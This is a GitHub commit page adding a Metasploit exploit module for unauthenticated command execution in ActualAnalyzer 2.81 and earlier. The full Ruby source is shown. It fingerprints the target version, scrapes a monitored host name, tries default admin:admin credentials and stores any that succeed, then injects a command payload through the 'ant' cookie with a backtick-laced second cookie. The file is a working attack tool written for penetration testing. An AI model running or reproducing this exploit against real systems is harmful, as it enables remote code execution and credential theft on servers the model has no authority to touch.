Skip to content

Commit 42744e5

Browse files
committed
Add actualanalyzer_ant_cookie_exec exploit
1 parent d1523c5 commit 42744e5

File tree

1 file changed

+242
-0
lines changed

1 file changed

+242
-0
lines changed
Lines changed: 242 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,242 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => "ActualAnalyzer 'ant' Cookie Command Execution",
16+
'Description' => %q{
17+
This module exploits a command execution vulnerability in
18+
ActualAnalyzer version 2.81 and prior.
19+
20+
The 'aa.php' file allows unauthenticated users to
21+
execute arbitrary commands in the 'ant' cookie.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' =>
25+
[
26+
'Benjamin Harris', # Discovery and exploit
27+
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
28+
],
29+
'References' =>
30+
[
31+
['EDB', '34450'],
32+
['OSVDB', '110601']
33+
],
34+
'Payload' =>
35+
{
36+
'Space' => 4096, # HTTP cookie
37+
'DisableNops' => true,
38+
'BadChars' => "\x00"
39+
},
40+
'Arch' => ARCH_CMD,
41+
'Platform' => 'unix',
42+
'Targets' =>
43+
[
44+
# Tested on ActualAnalyzer versions 2.81 and 2.75 on Ubuntu
45+
['ActualAnalyzer <= 2.81', { 'auto' => true }]
46+
],
47+
'Privileged' => false,
48+
'DisclosureDate' => 'Aug 28 2014',
49+
'DefaultTarget' => 0))
50+
register_options(
51+
[
52+
OptString.new('TARGETURI', [true, 'The base path to ActualAnalyzer', '/lite/']),
53+
OptString.new('USERNAME', [false, 'The username for ActualAnalyzer', 'admin']),
54+
OptString.new('PASSWORD', [false, 'The password for ActualAnalyzer', 'admin']),
55+
OptString.new('ANALYZER_HOST', [false, 'A hostname or IP monitored by ActualAnalyzer', ''])
56+
], self.class)
57+
end
58+
59+
#
60+
# Checks if target is running ActualAnalyzer <= 2.81
61+
#
62+
def check
63+
# check for aa.php
64+
res = send_request_raw('uri' => normalize_uri(target_uri.path, 'aa.php'))
65+
if !res
66+
vprint_error("#{peer} - Connection failed")
67+
return Exploit::CheckCode::Unknown
68+
elsif res.code == 404
69+
vprint_error("#{peer} - Could not find aa.php")
70+
return Exploit::CheckCode::Safe
71+
elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ && res.body =~ /Admin area<\/title>/
72+
vprint_error("#{peer} - ActualAnalyzer is not installed. Try installing first.")
73+
return Exploit::CheckCode::Detected
74+
end
75+
# check version
76+
res = send_request_raw('uri' => normalize_uri(target_uri.path, 'view.php'))
77+
if !res
78+
vprint_error("#{peer} - Connection failed")
79+
return Exploit::CheckCode::Unknown
80+
elsif res.code == 200 && res.body =~ /title="ActualAnalyzer Lite \(free\) ([\d\.]+)"/
81+
version = $1
82+
vprint_status("#{peer} - Found version: #{version}")
83+
return Exploit::CheckCode::Vulnerable if version =~ /^2\.(81|80|[0-7])/
84+
return Exploit::CheckCode::Detected
85+
elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/
86+
return Exploit::CheckCode::Detected
87+
end
88+
Exploit::CheckCode::Safe
89+
end
90+
91+
#
92+
# Try to retrieve a valid analytics host from view.php unauthenticated
93+
#
94+
def get_analytics_host_view
95+
analytics_host = nil
96+
res = send_request_cgi(
97+
'method' => 'POST',
98+
'uri' => normalize_uri(target_uri.path, 'view.php'),
99+
'vars_post' => {
100+
'id_h' => '',
101+
'listp' => '',
102+
'act_h' => 'vis_int',
103+
'oldact' => 'vis_grpg',
104+
'tint_h' => '',
105+
'extact_h' => '',
106+
'home_pos' => '',
107+
'act' => 'vis_grpg',
108+
'tint' => 'total',
109+
'grpg' => '201',
110+
'cp_vst' => 'on',
111+
'cp_hst' => 'on',
112+
'cp_htst' => 'on',
113+
'cp_reps' => 'y',
114+
'tab_sort' => '1_1'
115+
}
116+
)
117+
if !res
118+
vprint_error("#{peer} - Connection failed")
119+
elsif res.body =~ /<option value="?[\d]+"?[^>]*>Page: https?:\/\/([^\/^<]+)/
120+
analytics_host = $1
121+
vprint_good("#{peer} - Found analytics host: #{analytics_host}")
122+
else
123+
vprint_status("#{peer} - Could not find any hosts on view.php")
124+
end
125+
analytics_host
126+
end
127+
128+
#
129+
# Try to retrieve a valid analytics host from code.php unauthenticated
130+
#
131+
def get_analytics_host_code
132+
analytics_host = nil
133+
res = send_request_cgi(
134+
'uri' => normalize_uri(target_uri.path, 'code.php'),
135+
'vars_get' => {
136+
'pid' => '1'
137+
}
138+
)
139+
if !res
140+
vprint_error("#{peer} - Connection failed")
141+
elsif res.code == 200 && res.body =~ /alt='ActualAnalyzer' src='https?:\/\/([^\/^']+)/
142+
analytics_host = $1
143+
vprint_good("#{peer} - Found analytics host: #{analytics_host}")
144+
else
145+
vprint_status("#{peer} - Could not find any hosts on code.php")
146+
end
147+
analytics_host
148+
end
149+
150+
#
151+
# Try to retrieve a valid analytics host from admin.php with creds
152+
#
153+
def get_analytics_host_admin
154+
analytics_host = nil
155+
user = datastore['USERNAME']
156+
pass = datastore['PASSWORD']
157+
res = send_request_cgi(
158+
'method' => 'POST',
159+
'uri' => normalize_uri(target_uri.path, 'admin.php'),
160+
'vars_post' => {
161+
'uname' => user,
162+
'passw' => pass,
163+
'id_h' => '',
164+
'listp' => '',
165+
'act_h' => '',
166+
'oldact' => 'pages',
167+
'tint_h' => '',
168+
'extact_h' => '',
169+
'param_h' => '',
170+
'param2_h' => '',
171+
'home_pos' => '',
172+
'act' => 'dynhtml',
173+
'set.x' => '11',
174+
'set.y' => '11'
175+
}
176+
)
177+
if !res
178+
vprint_error("#{peer} - Connection failed")
179+
elsif res.code == 200 && res.body =~ />Login</
180+
vprint_status("#{peer} - Login failed.")
181+
elsif res.code == 200 && res.body =~ /alt='ActualAnalyzer' src='https?:\/\/([^\/^']+)/
182+
analytics_host = $1
183+
vprint_good("#{peer} - Found analytics host: #{analytics_host}")
184+
print_good("#{peer} - Login successful! (#{user}:#{pass})")
185+
service_data = {
186+
address: rhost,
187+
port: rport,
188+
service_name: (ssl ? 'https' : 'http'),
189+
protocol: 'tcp',
190+
workspace_id: myworkspace_id
191+
}
192+
credential_data = {
193+
origin_type: :service,
194+
module_fullname: self.fullname,
195+
private_type: :password,
196+
private_data: pass,
197+
username: user
198+
}
199+
credential_data.merge!(service_data)
200+
credential_core = create_credential(credential_data)
201+
login_data = {
202+
core: credential_core,
203+
last_attempted_at: DateTime.now,
204+
status: Metasploit::Model::Login::Status::SUCCESSFUL
205+
}
206+
login_data.merge!(service_data)
207+
create_credential_login(login_data)
208+
else
209+
vprint_status("#{peer} - Could not find any hosts on admin.php")
210+
end
211+
analytics_host
212+
end
213+
214+
def exploit
215+
if datastore['ANALYZER_HOST'].nil? || datastore['ANALYZER_HOST'] == ''
216+
analytics_host = get_analytics_host_code
217+
analytics_host = get_analytics_host_view if analytics_host.nil?
218+
analytics_host = get_analytics_host_admin if analytics_host.nil?
219+
analytics_host = vhost if analytics_host.nil?
220+
else
221+
analytics_host = datastore['ANALYZER_HOST']
222+
end
223+
vuln_cookies = %w(anw anm)
224+
print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...")
225+
res = send_request_cgi(
226+
'uri' => normalize_uri(target_uri.path, 'aa.php'),
227+
'vars_get' => { 'anp' => analytics_host },
228+
'cookie' => "ant=#{payload.encoded}; #{vuln_cookies.sample}=#{rand(100...999)}.`$cot`"
229+
)
230+
if !res
231+
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out")
232+
elsif res.code == 302 && res.headers['Content-Type'] =~ /image/
233+
print_good("#{peer} - Payload sent successfully")
234+
elsif res.code == 302 && res.headers['Location'] =~ /error\.gif/
235+
fail_with(Failure::BadConfig, "#{peer} - Host '#{analytics_host}' is not monitored by ActualAnalyzer. set ANALYZER_HOST to specify.")
236+
elsif res.code == 200 && res.body =~ /Admin area<\/title>/
237+
fail_with(Failure::Unknown, "#{peer} - ActualAnalyzer is not installed. Try installing first.")
238+
else
239+
fail_with(Failure::Unknown, "#{peer} - Something went wrong")
240+
end
241+
end
242+
end

0 commit comments

Comments
 (0)